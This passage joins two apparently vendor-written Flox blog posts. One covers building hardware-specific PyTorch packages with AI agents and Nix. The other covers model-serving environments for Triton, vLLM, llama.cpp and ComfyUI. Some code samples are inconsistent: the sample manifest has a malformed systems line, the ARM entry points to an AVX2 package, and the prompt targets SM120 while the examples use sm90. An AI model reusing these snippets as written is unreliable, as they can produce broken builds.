macOS/darwin it's less than one-quarter the size of upstream PyTorch: 2.13 GB. CPU-only builds are even smaller: just over 1.0 GB. ## Why build, package, and publish with Flox? Flox is built on open source Nix, a reproducible build system. Nix defines build recipes as code and treats each build as a pure function of its declared inputs. This means build recipes (i.e., Nix expressions) behave reproducibly across space (i.e., compatible OS/CPU combinations) and _time_: the same Nix expression just works one month, one year, even **five years** after testing. With Flox, as with Nix, you get portable, reproducible builds, across Linux, macOS, and Windows (with WSL2), on both x86 and ARM. Flox supplements Nix in that it gives you a way to publish packages to a private cache _and_ catalog, define them in a declarative manifest, and install them anywhere. ### What you need to get started - [Flox CLI](https://flox.dev) and the [Flox MCP server](https://hub.flox.dev/packages/flox/flox-mcp-server) - An AI coding tool with MCP support (Claude Code, Cursor, Windsurf, etc.) - Your target hardware: NVIDIA GPUs for CUDA, Apple Silicon for MPS, or any machine for CPU-only You'll follow one of three paths depending on your hardware: NVIDIA CUDA, Apple Metal/MPS, or x86/ARM CPU-only. Across all three paths, the workflow looks the same: - Tell the agent what you're targeting; - Answer any required questions as the agent authors the Nix build expression; - The agent runs **`flox build`** against the Nix expression and tests that PyTorch builds + works; - Use **`flox publish`** to publish the built PyTorch package to your private Flox Catalog. **Pro Tip**: Clone [this GitHub repo](https://github.com/flox/gpu-specific-pytorch-2.9.1/) if you want to skip the agentic workflow and build using tested GPU-specific PyTorch Nix expressions. Building PyTorch can and will take hours on a laptop or small system (e.g., Mac Mini); to skip the build altogether and install prebuilt GPU-/CPU-specific Pytorch packages, jump to the end of this article. ## Before you build: know your target **CUDA**. Build for CUDA if you have NVIDIA GPUs and want maximum training or inference performance. You'll target a specific SM architecture (H100 = SM90, RTX 4090 = SM89, A100 = SM80) and a CPU ISA (AVX2, AVX-512, etc.). This is the most involved path because it starts with building MAGMA, a GPU-accelerated linear algebra library that PyTorch depends on. **Metal/MPS**. Build for MPS if you're on Apple Silicon (M1–M4+). PyTorch's MPS backend uses Apple's Metal framework for GPU acceleration. You don't need MAGMA, and you don't need to set CPU ISA flags; Apple manages hardware dispatch internally. This produces the simplest derivation of the three. **CPU-only**. Build for your specific CPU architecture if you don't have a GPU, or you want a minimal build for production inferencing. (This is one of the most common serving patterns in production environments.) Target for x86-64: AVX2 on laptops; AVX-512 on production/cloud infrastructure; ARM v8.2 or ARM v9 on aarch64. Use OpenBLAS for linear algebra. Works on both x86-64 and ARM Linux. ## Step 1: Build MAGMA (CUDA-only) **Note**: MPS and CPU-only builds don't use MAGMA; for these, skip to **Step 2**. PyTorch depends on MAGMA for GPU-accelerated dense linear algebra. The default **`magma-cuda-static`** package in nixpkgs builds for every CUDA architecture at once, producing a ~10-GB closure. If you're running locally on an RTX 4090 or RTX 5090, or deploying to H100s, you don't need Pascal and Turing code compiled in alongside Hopper and Blackwell. So why not skip unnecessary architectures? Tell the agent: ``` Create a pinned parametric Nix recipe that builds MAGMA as a **static** library for a single GPU target (Vera Rubin / SM120) with AVX2 CPU flags, using nixpkgs with a `cudaPackages_12_9` overlay. Override upstream `magma` with `cudaSupport = true; static = true;`, restrict `CMAKE_CUDA_ARCHITECTURES` to just `"120"`, and set `MIN_ARCH` to `"1200"`. This package will be passed as custom MAGMA into a follow-on PyTorch build. ``` When the agent finishes, a sample wrapper should look something like this: ```nix # pkgs/magma/h100-avx2.nix { callPackage }: callPackage ../../builders/magma.nix { cpuTarget = "avx2"; gpuTarget = "sm90"; } ``` Now run **`flox build`** to build MAGMA. This realizes (i.e., builds) the output in the Nix store, which the GPU-specific PyTorch build in **Step 2** will use. ```bash flox build magma-cuda12_9-sm90-avx2 ``` MAGMA doesn't take as long to build as PyTorch, but it's still a demanding package. Expect 20-30 minutes on a beefy machine (e.g. ThreadRipper 7970x) … or 80-90 minutes on a standard desktop. The result is a ~100 MB static library: one architecture, statically linked, ready to plug into PyTorch. ## Step 2: Author the PyTorch Nix expression All three variants derive from the same upstream nixpkgs package definition, **[`python3Packages.torch`](https://hub.flox.dev/packages/search?q=python3Packages.torch)**, and customize it via overrides. The agent reads the upstream Nix expression, identifies the supported override points, and writes the variant-specific recipe. You can provide a specific hardware target, or tell the agent to build for the hardware on your local system. ### CUDA To build CUDA-accelerated **`pytorch`**, use a prompt like this one: ``` Build a CUDA PyTorch Nix expression for SM120 + AVX2, using the same pinned nixpkgs + CUDA 12.9 overlay as the `magma` build. Start from `python3Packages.torch`, set `cudaSupport = true`, restrict `gpuTargets` to `["12.0"]` (dot notation), and pass the custom `magma` from the previous step via `effectiveMagma`. Use `overrideAttrs` to inject AVX2 CPU flags (`-mavx2 -mfma -mf16c`), set `ninjaFlags = ["-j32"]`, and name it `pytorch-sm120-avx2`. **Strip the build-time toolchain from the runtime closure** using `disallowedReferences` for `stdenv.cc` and `stdenv.cc.cc`, plus a `postFixup` that runs `remove-references-to` on both `$out` and the `$lib` output for gcc, gcc-wrapper, binutils, and binutils-wrapper. Build, test `import torch`, debug until it works. ``` The CUDA path uses a two-stage override. **`.override`** sets **`cudaSupport = true`**, constrains **`gpuTargets`** to the SM (i.e., GPU) architecture you specify, and swaps in the GPU-specific **`magma`** via the override point nixpkgs exposes for this purpose. The agent defines **`.overrideAttrs`** to add CPU ISA compiler flags, tune build parallelism, and declare package metadata so the Nix store path reads **`pytorch-sm90-avx2-2.9.1`**. The agent pins the same nixpkgs revision and CUDA overlay used by **`magma`**, so both share an identical dependency tree. Tell the agent iteratively to build, test, and debug until it has a working build. Debugging usually takes just a few minutes, but _building_ GPU-specific **`pytorch`** will take some time: from 30 minutes on a beefy system to 3-4+ hours on a laptop. Once finished, publish to your private Flox Catalog and install anywhere: ```bash flox publish pytorch-sm120-avx2 ``` The resulting closure clocks in at just over 6 GB, about one-third the size of the upstream PyTorch package. We can and will make this smaller by stripping unnecessary build dependencies. ### Metal/MPS To build MPS-accelerated **`pytorch`**, use a prompt like this one: ``` Produce a PyTorch package for `aarch64-darwin` that uses the upstream nixpkgs MPS path. Inspect the pinned nixpkgs revision's `python3Packages.torch` expression on Darwin. Upstream exposes a unified `torch` package with conditional accelerator paths, enables `USE_MPS` on Darwin, and only exposes Darwin when `cudaSupport` and `rocmSupport` are off. Reuse this expression unless inspection of the pinned revision shows it needs a Darwin-specific fix. If upstream is suitable, package and build it as `pytorch-darwin-mps.nix` without forking the recipe. If the pinned revision needs a fix, write the smallest Darwin-only override necessary to preserve the upstream shape while keeping the Darwin/MPS path intact. Do not add CUDA, ROCm, or MAGMA-specific changes. After choosing the expression, build, debug build errors, and verify with: - `python -c 'import torch; print(torch.backends.mps.is_built())'` - `python -c 'import torch; print(torch.backends.mps.is_available())'` Report whether upstream was reused or patched, and explain each override briefly. ``` On Apple Silicon, the agent should inspect the pinned upstream **`python3Packages.torch`** expression first. Currently, the nixpkgs upstream enables MPS on Darwin and excludes CUDA/ROCm, so the likely path is simply to reuse the pinned upstream expression and verify MPS at runtime, not to author a new MPS-specific override. Override happens only if the pinned nixpkgs revision fails to build. Again, the agent will build and debug until it has a working build. Debugging takes just a few minutes, but _building_ MPS-specific **`pytorch`** can take a considerable amount of time: from 30 minutes on a beefy system to 3-4 hours on a laptop. Once finished, publish to your private Flox Catalog and install anywhere: ```bash flox publish pytorch-darwin-mps ``` ### CPU-only CPU-only PyTorch inference serving is still a common pattern in production. Companies train smaller models then tune them to perform on enterprise-grade CPUs, usually against AVX-512 or ARM v9 ISAs. To build CPU-only **`pytorch`**, use a prompt like this one: ``` Produce a CPU-only PyTorch package for `avx2` on `x86_64-linux` from the pinned nixpkgs revision. Inspect the upstream pinned `python3Packages.torch` expression first and keep the upstream CPU path: `cudaSupport = false` and `rocmSupport = false`. Reuse the upstream dependency shape unless inspection shows a fix is needed. Keep the normal CPU BLAS/MKLDNN path, add the minimum compiler flags needed for AVX2, and name the package `pytorch-cpu-avx2`. Build it, verify `python -c 'import torch; print(torch.__version__)'`, and explain each override briefly. ``` The CPU-only path starts from upstream **`python3Packages.torch`** with CUDA and ROCm disabled. The agent will inspect the pinned nixpkgs expression and author the override for the target CPU. It will likely keep the upstream CPU dependency shape, choose the BLAS provider if needed, keep or adjust **`mklDnnSupport`** based on platform, and add any target-specific compiler flags such as AVX2, AVX-512, or ARMv8.2/ARMv9. Then it should build, import, and sanity-test the result. After it finishes (usually anywhere from 30 minutes to more than an hour, depending on system), run **`flox publish`** to publish it to your private Flox Catalog. Once published, you can install it anywhere. ```bash flox publish pytorch-cpu-avx2 # x86-64 consumer-grade CPUs flox publish pytorch-cpu-avx512 # x86-64 enterprise-grade CPUs ``` Or: ```bash flox publish pytorch-cpu-armv9 # aarch64 ``` ## Step 3: Optimize the closure (CUDA-only) A freshly built CUDA PyTorch closure includes ~750 MiB of build tools that shouldn't ship at runtime: e.g., **`gcc`** and **`binutils`** references hardcoded in **`torch/_inductor/config.py`** and **`torch/csrc/profiler/unwind/unwind.cpp`**. Ask the agent to strip these. It will do this by adding **`disallowedReferences`** (fails the build if gcc survives in any output) and a **`postFixup`** phase that runs **`remove-references-to`** on the offending files. This step preserves legitimate runtime libraries (like **`libstdc++.so`** and **`libgcc`**). The CUDA-accelerated closure should drop from just over 6 GiB to 5.2-5.3 GiB. MPS builds are already compact. CPU-only builds are the smallest of all, with no GPU libraries whatsoever. ## One Flox environment, three arch-specific PyTorch packages You can publish all three variants to your private Flox Catalog; even better, you can use all three variants _in the same Flox runtime environment_. Flox lets you constrain packages by OS- or architecture-type, so it's fairly straightforward to simultaneously install multiple, CPU- or GPU-specific versions of PyTorch. This way, the same Flox PyTorch environment can move across the SDLC, from local dev to eval → eval to CI → CI to staging → staging to prod. ``` version = 1 [install] ## pytorch 2.9.1 for darwin / aarch64 mps pytorch-darwin.pkg-path = "flox/pytorch-python313-darwin-mps" pytorch-darwin.version = "2.9.1" pytorch-darwin.systems = ["aarch64-darwin"] pytorch-darwin.pkg-group = "pytorch-darwin" ## pytorch 2.9.1 for nvidia rtx 5000-series / cuda 12.9.1 pytorch-cuda.pkg-path = "pytorch-python313-cuda12_9-sm120-avx2" pytorch-cuda.version = " 2.9.1" pytorch-cuda.systems = "["x86_64-linux", "aarch64-linux"] pytorch-cuda.pkg-group = "pytorch-cuda" pytorch-cuda.priority = 0 ## pytorch 2.9.1 for x86 isa / avx512 pytorch-x86.pkg-path = "pytorch-python313-cpu-avx512" pytorch-x86.version = "2.9.1" pytorch-x86.systems = ["x86_64-linux"] pytorch-x86.pkg-group = "pytorch-x86" pytorch-x86.priority = 1 ## pytorch 2.9.1 for arm v9 isa pytorch-arm.pkg-path = "pytorch-python313-cpu-avx2" pytorch-arm.version = "2.9.1" pytorch-arm.systems = ["aarch64-linux"] pytorch-arm.pkg-group = "pytorch-arm" pytorch-arm.priority = 1 ``` ## Skipping the build Building GPU- or CPU-specific PyTorch is time-consuming, even on beefy machines. If you want to start running targeted PyTorch builds, try the following prebuilt packages, each targeted PyTorch 2.9.1. ### CUDA-specific packages - PyTorch 2.9.1 for Python 3.13 and SM61: `flox install flox/pytorch-python313-cuda12_9-sm61-avx2` - PyTorch 2.9.1 for Python 3.13 and SM75: `flox install flox/pytorch-python313-cuda12_9-sm75-avx2` - PyTorch 2.9.1 for Python 3.13 and SM80: `flox install flox/pytorch-python313-cuda12_9-sm80-avx2` - PyTorch 2.9.1 for Python 3.13 and SM86: `flox install flox/pytorch-python313-cuda12_9-sm86-avx2` - PyTorch 2.9.1 for Python 3.13 and SM89: `flox install flox/pytorch-python313-cuda12_9-sm89-avx2` - PyTorch 2.9.1 for Python 3.13 and SM90: `flox install flox/pytorch-python313-cuda12_9-sm90-avx2` - PyTorch 2.9.1 for Python 3.13 and SM120: `flox install flox/pytorch-python313-cuda12_9-sm120-avx2` ### Darwin-specific packages - PyTorch 2.9.1 for Apple Metal/MPS (All): `flox install flox/pytorch-python313-darwin-mps@2.9.1` ### CPU-specific packages - PyTorch 2.9.1 for AVX2: `flox install flox/pytorch-python313-cpu-avx2` - PyTorch 2.9.1 for AVX512: `flox install flox/pytorch-python313-cpu-avx512` ## Scaling the Pattern AI coding tools and agents speak Nix shockingly well. You can task them with creating Nix expressions for every NVIDIA SM architecture, or combinations of SM+ CUDA + Python versions, for x86 and ARM. You can even create custom Nix expression build recipes that support long-dead hardware: e.g., defining AVX-only PyTorch builds that blacklist AVX2, AVX-512, and other more modern instructions. These will run on older Intel Xeon kit that predates AVX2. For instance, install this PyTorch package to keep an aging Xeon 1680v2 with a GTX 1080ti and 64GB of RAM in the inferencing game: ``` flox install flox/pytorch-python313-cuda12_9-sm61-avx@2.9.1 ``` As part of Flox's NVIDIA CUDA Kickstart Program, we've created GPU-specific build recipes for: - **[PyTorch](https://github.com/flox/pytorch-cuda).** This repo has GPU- and CPU-targeted builds for PyTorch 2.8.0 through 2.10.0, on CUDA versions 12.8 through CUDA 13.1. It uses a parametric Nix builder plus metadata tables to generate concrete, hardware-targeted PyTorch package definitions. This is a canonical pattern for generating CUDA-, PyTorch-, Python-, and hardware-specific build recipes. If you're curious about this pattern, check out the Flox CUDA Kickstart Program teased below. We can help you customize and implement custom build recipes for your own AI/ML CUDA workloads. - **[ONNX Runtime](https://github.com/flox/onnx-runtime)**. ORT 1.18 thru 1.24.2 for Python 3.12 and Python 3.13, CUDA 12.4 and CUDA 12.9. This repo segments ORT versions across Git branches. - **[MAGMA](https://github.com/flox/magma)**. Builds MAGMA 2.9.0 for NVIDIA GPUs. - **[vLLM](https://github.com/flox/vllm)**. vLLM 0.13.0 thru v0.15.1, with vLLM 0.16.0 coming soon. This repo segments vLLM versions across separate Git branches. The hardened Flox runtime environment for vLLM model serving can be found [here](https://hub.flox.dev/floxrox/vllm-runtime). - **[llamacpp](https://github.com/flox/llamacpp)**. GPU-specific recipes are pinned to specific historical versions of llama.cpp, plus build recipes that always build llama.cpp latest. A hardened Flox environment for llamacpp serving can be found [here](https://hub.flox.dev/floxrox/llamacpp-runtime). To learn more about [CUDA Kickstart](https://flox.dev/cuda-kickstart), check out [the official GitHub repo](https://github.com/flox/flox-cuda). To get started with Flox, sign up for [FloxHub](https://hub.flox.dev) and start downloading pre-built Flox environments for agentic development, enterprise-grade production inferencing, model requantization, and other use cases. Title: Production Model Serving Using NVIDIA Triton, vLLM, and llama.cpp with Flox Source: https://flox.dev/blog/production-model-serving-using-nvidia-triton-vllm-llamacpp-with-flox/ Date: 2026-03-16 Category: guide # Production Model Serving Using NVIDIA Triton, vLLM, and llama.cpp with Flox Learn how to use Flox to define declarative, reproducible model serving environments for NVIDIA Triton, vLLM, and llama.cpp that work across the entire SDLC, from dev laptops to production GPU clusters. You can use Flox to define declarative, reproducible model serving environments for NVIDIA's Triton Inferencing Server, NVIDIA TensorRT, vLLM, and llama.cpp. Platform teams can use the same Flox environments to (1) serve models [uncontained on Kubernetes](https://flox.dev/blog/kubernetes-uncontained-explained-unlocking-faster-more-reproducible-deployments-on-k8s/) GPU nodes; (2) emit [distroless reproducible containers](https://flox.dev/blog/nix-and-containers-why-not-both/); (3) run jobs in CI or prod from VMs, or (4) run workloads directly on bare metal. Regardless of how, when, or where you run it, the same Flox environment travels across the SDLC: - On developers' CUDA-accelerated laptops and desktops; - On NVIDIA DGX Spark locally; - On Slurm-managed CUDA GPU clusters for research, eval, and batch inference; - On Kubernetes CUDA GPU clusters, or on VMs, for eval and prod. Unlike a Dockerfile-first workflow, where the OCI image is the thing you build, tag, and promote, Flox makes the _declarative environment_ the unit of promotion. Teams ship Flox environments from local dev to eval, test them in CI, and deploy them to prod. Changes are atomic edits to the environment, committed to Git or published to FloxHub as a new generation. Rollbacks are either switching the environment back to an earlier Flox generation, or in GitOps flows, changing the deployed reference to an earlier Git commit. This guide walks through three validated Flox environments for enterprise model serving: NVIDIA's [Triton Inference Server](https://docs.nvidia.com/deeplearning/triton-inference-server/user-guide/docs/index.html) (with five backends, including TensorRT and TensorRT LLM), [vLLM](https://github.com/vllm-project/vllm), [llama.cpp](https://github.com/ggml-org/llama.cpp). It also explores a reproducible Flox ComfyUI environment for **image serving**, along with a turn-key Flox environment that apps and services can call to prompt the ComfyUI API. The last part of this guide explores Flox environments for model requantizing (for Huggingface, GGUF, and TensorRT-LLM model serving) that are optimized for local dev and production use. Each of these model-serving backends is picky about the model formats, quantization schemes, and runtime artifacts it will accept, so reusing models across backends often requires requantization. ## Flox Triton Server model serving runtime The [Flox Triton Server](https://github.com/flox/triton-flox-runtime) environment runs NVIDIA Triton v2.66.0 with precompiled backends for Python, [ONNX Runtime](https://onnxruntime.ai/), [NVIDIA TensorRT](https://docs.nvidia.com/deeplearning/tensorrt/latest/index.html), and [vLLM](https://github.com/vllm-project/vllm) v0.16.0. Backend packages are versioned 2.66.0 to match the Triton release. The vLLM backend is wired into Triton as a Python-based backend, [per NVIDIA's guidance](https://docs.nvidia.com/deeplearning/triton-inference-server/user-guide/docs/vllm_backend/README.html). The environment exposes HTTP, gRPC, and Prometheus metrics on separate ports, with an OpenAI-compatible frontend enabled by default on port 9000. It can also serve TensorRT **`.plan`** engines through Triton's compiled-in TensorRT backend; no container sidecar is required. A [separate environment](https://github.com/flox/triton-monitoring-runtime) provides Prometheus-backed Grafana monitoring. The Flox [triton-flox-runtime-tensorrtllm](https://github.com/flox/triton-trtllm-flox-runtime) environment provides a proof of concept for serving Microsoft's Phi-4-Mini-Instruct model via NVIDIA's TensorRT-LLM backend. It is preconfigured with a TensorRT-LLM engine built for NVIDIA's SM120 (Blackwell / Vera Rubin) architecture. **Note**: TensorRT-LLM deployments require model conversion and engine builds targeted to the GPU architecture on which they will run. This environment will only run on SM120. ### How to use it Start the server: ```bash flox activate -s -r floxrox/triton-flox-runtime ``` The service pipeline chains two packaged scripts, **`triton-resolve-model`** and **`triton-serve`**, with a packaged setup script (**`triton-setup-backends`**) to assemble the backend directory at activation. You can override the model and repository at runtime: ```bash TRITON_MODEL=my-model TRITON_MODEL_REPOSITORY=/data/models flox activate -s ``` The OpenAI-compatible frontend is enabled by default (**`TRITON_OPENAI_FRONTEND`** defaults to **`true`**). Set **`TRITON_OPENAI_FRONTEND=false`** to disable it and use only the standard Triton HTTP/gRPC/metrics endpoints. The tokenizer for the OpenAI frontend is auto-resolved from the model's **`model.json`** configuration; for custom models without a **`model.json`** or **`tokenizer/`** directory, you can set **`TRITON_OPENAI_TOKENIZER`** explicitly (e.g., **`TRITON_OPENAI_TOKENIZER=microsoft/Phi-4-mini-instruct`**). Model control modes span **`none`** (static), **`explicit`** (API-driven load/unload), and **`poll`** (hot-reload from the repository). The environment wires up Triton backends automatically: it links in packaged backends and adds the Python entrypoints needed for repo-local custom backends, so operators don't have to do this themselves. Defense-in-depth runs deep. A preflight script performs a scan of **`/proc/net/tcp`** and **`/proc/net/tcp6`** for HTTP, gRPC, metrics, and OpenAI ports, returning 7 distinct exit codes for programmatic error handling. Artifact validation is backend-aware: ONNX models are checked with **`onnx.checker.check_model()`**, PyTorch artifacts are inspected for magic bytes, and Python backends are syntax-compiled; all of this takes place before Triton server ever loads them. Every resolved model gets a content-manifest SHA; re-runs compare provenance and skip downloads when local content already matches (i.e., no-op detection). The symlink-store publishing strategy stores model content under **`.published///`**, with the model repository target becoming an atomic symlink swap. This provides per-model deduplication and crash-safe updates in one mechanism. Per-model **`flock`** locks use **`PR_SET_PDEATHSIG`** so the lock releases if the parent dies, with bounded polling and symlink rejection on lock files. The **`README.md`** for this environment is copiously documented. You (or your AI agent) can view it [here](https://github.com/flox/triton-flox-runtime/blob/main/README.md). ## Flox vLLM model serving runtime The [Flox vLLM environment](https://github.com/flox/vllm-flox-runtime) packages vLLM into a reproducible inference runtime that runs directly on x86-64 Linux, without needing a container. It gives you a consistent way to provision models from local storage, cache, Hugging Face, or R2, validate them, and launch an OpenAI-compatible serving endpoint with built-in GPU checks, port handling, and startup scripts. It's most useful for teams that want a simpler, more inspectable way to run high-performance LLM inference while maintaining strong operational controls vis-a-vis model loading, config, and service management. It is especially helpful when you need container-free deployment but still need a repeatable path to serving models reliably on NVIDIA GPUs. The vLLM environment ships a production-ready vLLM v0.15.1 inference server on CUDA 12.9. It consists of two packages: **`vllm`** (built against CUDA-accelerated PyTorch) and **`vllm-flox-runtime`**, roughly 2,400 lines of hardened Bash and Python orchestration split across three service stages. ### How to use it You can start serving with a single command: ```bash flox activate -s -r floxrox/vllm-runtime ``` The service pipeline chains three packaged scripts, **`vllm-preflight`**, **`vllm-resolve-model`**, and **`vllm-serve`**. You can inject environment variables that override the model at activation time: ```bash VLLM_MODEL=Qwen2.5-7B-Instruct VLLM_MODEL_ORG=Qwen flox activate --start-services ``` Multi-GPU inference is likewise just a matter of injecting an env var; e.g.: **`VLLM_TENSOR_PARALLEL_SIZE=2`** for tensor parallelism; **`VLLM_PIPELINE_PARALLEL_SIZE=2`** for pipeline parallelism. You can download gated models at runtime, assuming **`HF_TOKEN`** is set; you can also inject environment variables to dynamically download models from other sources, including local or remote caches, S3, and R2. KV cache dtype, max sequence length, prefix caching, and served model name are all configurable as environment variable overrides. The Flox environment ships with a static **`config.yaml`** for defaults that rarely change. The runtime enforces defense-in-depth at every stage. The preflight stage scans **`/proc/net/tcp`** and attributes port owners by tracing socket inodes through **`/proc//fd`**; it will reclaim a port held by a prior vLLM process but refuse to touch a non-vLLM listener, or one owned by a different UID. Model provisioning resolves through a multi-source chain (Flox environment → local directory → HuggingFace cache → S3/R2 → HuggingFace Hub), then runs three-stage validation: checking for the presence of **`config.json`**, scanning tokenizer assets, and assessing weight shard completeness with safetensors header checks. Downloads stage atomically into **`.staging/`** and swap into place only after validation passes. The default env file parser is a restricted Python-based safe mode that rejects shell interpolation and command substitution; trusted mode requires opt-in via **`VLLM_ENV_FILE_TRUSTED=true`**. The README.md for this environment is quite thorough. You (or your AI agent) can view it [here](https://github.com/flox/vllm-flox-runtime/blob/main/README.md). ## Flox llama.cpp model serving runtime The [Flox llama.cpp](https://github.com/flox/llamacpp-flox-runtime) model serving environment packages llama.cpp into a reproducible runtime for x86-64 Linux; no containers required. It's designed for serving GGUF-quantized models via llama-server, with built-in handling for model download and validation, GPU checks, port reclaim, startup orchestration, and an OpenAI-compatible API. It's especially useful for teams that want a lightweight, inspectable way to run fast local or production inference without the dependencies of a complete PyTorch- or vLLM-based stack. The llama.cpp environment serves models via **`llama-server`** pinned to CUDA 12.9. It's a single compiled binary with no Python ML framework dependency at runtime. It supports continuous batching, parallel inference slots, and Flash Attention, along with both TCP and Unix socket binding. ### How to use it You can start serving by running: ```bash flox activate -s -r floxrox/llamacpp-runtime ``` The service pipeline chains three packaged scripts: **`llamacpp-preflight`**, **`llamacpp-resolve-model`**, and **`llamacpp-serve`**. You can override the default model like so: ```bash LLAMACPP_MODEL=DeepSeek-R1-0528-Qwen3-8B-Q4_K_M LLAMACPP_MODEL_ORG=bartowski flox activate --start-services ``` Multi-GPU layer splitting works via **`LLAMACPP_SPLIT_MODE=layer`** and **`LLAMACPP_TENSOR_SPLIT="0.5,0.5"`**. Unix socket mode is **`LLAMACPP_HOST=/var/run/llamacpp/server.sock`**, with configurable stale socket policies. You can tune the engine (for GPU layer offload, KV cache quantization, batch/ubatch sizing, context length, Flash Attention, and other settings) by setting environment variable overrides. The runtime validates every GGUF file it touches, performing magic byte checks (0x47474655), header structure parsing (for version range and tensor/KV counts), and optional SHA256 pinning per file or via a manifest. Strict mode requires a manifest entry for every shard in split model sets. API keys are exported as env vars, never placed on the command line (this prevents **`/proc//cmdline`** leakage), while **`--print-cmd`** and **`--dry-run`** redact secrets automatically. When running as root (e.g., in a container or VM) the lock directory cascade refuses **`/tmp`** and requires **`/run`** or **`/var/lock`**. The server won't start if the GPU can't handle the load: GPU resource gating uses a three-tier detection cascade (CUDA driver probe → NVML → **`nvidia-smi`**) with runtime-configurable fail thresholds for free memory and utilization percentage. Model downloads stage into **`.staging/`**, validate, then swap into place via backup+rename, with old backups pruned to a configurable retention count. The README.md for this environment is prodigiously detailed. You (or your AI agent) can view it [here](https://github.com/floxrox/llamacpp-flox-runtime/blob/main/README.md). ## Flox ComfyUI image serving runtime The Flox [ComfyUI environment](https://hub.flox.dev/floxrox/comfyui-complete) gives you a reproducible ComfyUI runtime that works without containers. It supports both ComfyUI's interactive UI and API-based serving, and includes bundled, prebuilt workflows that can be invoked via both the browser interface _and_ the API so teams can prompt standard image-generation pipelines without manually rebuilding node graphs each time. It runs across macOS and Linux, including x86 and ARM systems, with GPU acceleration where available—Metal/MPS on macOS and CUDA on Linux—while also supporting CPU-only deployments. That makes it useful for teams that want one consistent way to build, publish, and operate ComfyUI across laptops, workstations, and servers. Two companion environments cover the ComfyUI image generation stack. The server environment ships ComfyUI 0.15.0 on CUDA 12.9 with PyTorch, TorchVision, TorchAudio, and a bundle of custom nodes (Impact Pack, WAS, rgthree). The [Flox ComfyUI client](https://hub.flox.dev/floxrox/comfyui-client) environment provides a CLI for the ComfyUI API: **`comfyui-submit`** sends workflows with specifiable parameter overrides (prompts, seeds, dimensions, samplers); **`comfyui-batch`** runs parallel or sequential multi-job runs; and **`comfyui-queue`**, **`comfyui-result`**, and **`comfyui-status`** manage jobs and retrieve images. WebSocket progress tracking gives real-time sampling step updates in the terminal. ### How to use it You can start by running: ```bash flox activate -s -r floxrox/comfyui-complete ``` This runs ComfyUI server on port 8188 with automatic GPU detection: the environment detects the presence of (and loads the appropriate dependencies for) CUDA on Linux and MPS on Apple Silicon, with CPU fallback on x86 MacOS and systems on which GPU acceleration isn't available. It also bundles scripts you can use to download models, including SDXL Base, FLUX1-Dev, Stable Diffusion (SD) 3.5, and T5-XXL CLIP. You'll need to set your HuggingFace token to download SD 3.5 and Flux1-Dev. To prompt ComfyUI via its API, run the following command: ```bash COMFYUI_HOST=192.168.0.42 COMFYUI_PORT=8188 flox activate -r floxrox/comfyui-client -- sdxl-txt2img -p "a cyberpunk city street at night straight outta john rechy's city of night" -o ./output ``` You can also batch prompt by passing ComfyUI a JSON job file: ``` flox activate -r floxrox/comfyui-client -- comfyui-batch batch-demo.json -W "$FLOX_ENV/share/comfyui-client/workflows/api/flux/flux-txt2img.json" --parallel -o ./output ``` The JSON might look like this: ```json [ { "prompt": "a Japanese temple garden in autumn, red maple leaves floating on a koi pond, morning mist", "seed": 100, "steps": 25, "cfg": 1.0 }, { "prompt": "a steampunk airship docked at a floating island, copper and brass details, cumulus clouds at eye level", "seed": 200, "steps": 25, "cfg": 1.0, "width": 1024, "height": 768 }, { "prompt": "macro photograph of a dewdrop on a spider web, prismatic light refraction, bokeh background", "seed": 300, "steps": 20, "cfg": 1.0 } ] ``` ### Other model-serving essentials #### Flox Model Quantizer runtime environment [This Flox environment](https://github.com/flox/model-quantizer) reads source models from a Hugging Face cache and writes quantized outputs either in hub-cache layout for vLLM and other Hugging Face-compatible loaders _or_ as single-file GGUF artifacts for llama.cpp-based runtimes. For each quantization path (AWQ, FP8, LLM Compressor, GGUF), it provides both **`-local`** and **`-production`** command variants. For instance, **`quantize-fp8-local`** is designed for fast iteration; it's useful when working or prototyping locally. By contrast, **`quantize-fp8-production`** adds strict validation, strong locking, structured JSON error reporting, and artifact-integrity checks for CI and long-lived serving artifacts. Why requantize? For several reasons. Production serving stacks typically impose backend-specific artifact requirements: for example, a Hugging Face checkpoint typically needs to be converted to [GGUF](https://huggingface.co/docs/hub/gguf) before it will run in llama.cpp; the same checkpoint may need to be requantized, then converted into a TensorRT-LLM-compatible checkpoint, before a TensorRT engine can be built. (**Pro Tip**: You can use [this Flox environment](https://github.com/floxrox/triton-trtllm-tools) to build TensorRT engines from TensorRT-LLM-compatible Hugging Face checkpoints.) The environment supports runtime configuration via environment-variable injection. This means you, AI agents, CI pipelines, etc. can specify cache locations, output paths, revisions, policy controls, and other minutiae at activation or execution time without hard-coding changes. **x86-64 Linux only**. **Note**: Models and model servers are incredibly finicky. The best way to use the Flox Model Quantizer environment locally is to pair it with an AI agent, delegating to the agent the task of iteratively debugging runtime conversion issues. #### Flox TensorRT-LLM model conversion/engine building environment [This Flox environment](https://github.com/flox/triton-trtllm-tools/) packages the tools and libraries you need to convert Hugging Face models into TensorRT-LLM checkpoints → compile these checkpoints into TensorRT engines for LLM model serving with NVIDIA's Triton Inference Server. The environment bundles tools for benchmarking, evaluation, pruning, refitting, and local serving, so it can also be used to validate engines before promotion into a Triton model repository. Run these models using the companion [Flox Triton Server runtime](https://github.com/flox/triton-flox-runtime). This workflow is often the second step in a bigger TensorRT model-prep pipeline. Hugging Face source checkpoints frequently need to be quantized / rewritten into the form expected by the TensorRT-LLM conversion path. The model weights or intermediate checkpoint _may_ be reusable, but the final TensorRT engine is almost always target-specific: i.e., built for the GPU architecture on which it will run. The [Flox model-quantizer environment](https://github.com/flox/model-quantizer) gives you a way to transform these models into TensorRT-LLM-backend-compatible quantized artifacts before they enter the checkpoint-conversion and TensorRT engine-build workflow. **x86-64 Linux only**. ### Get Started Every Flox environment featured in this guide, from NVIDIA Triton and vLLM to llama.cpp, ComfyUI, and the model quantization toolchain, runs from a single **`flox activate [-s]`** command. With Flox, the _declarative environment_ is the unit of promotion: the same Flox environment that runs on a developer's laptop runs in CI, on Slurm clusters, with or without containers on Kubernetes GPU nodes, or in VMs/AMIs. Instead of promoting multi-gigabyte images, you promote <100KB of artifacts: a Flox manifest and the lockfile that pins versions of the packages defined in it. Flox environments travel with your code in Git workflows, or can be pulled and activated on-demand from FloxHub. Deploying or rolling back is as simple as switching a pinned reference to a Git commit or a FloxHub generation. Flox makes it easy to build, package, and publish GPU-specific versions of vLLM, llama.cpp, and other model serving runtimes (like SGLang). GPU-specific builds compile against a single NVIDIA SM architecture instead of shipping fat binaries that target every supported GPU generation. You get better performance because the compiler can emit instructions optimized for the exact hardware you're running on, smaller binaries because you're not shipping code paths for GPUs you'll never use, and more reliable reproducibility because the build is pinned to a specific 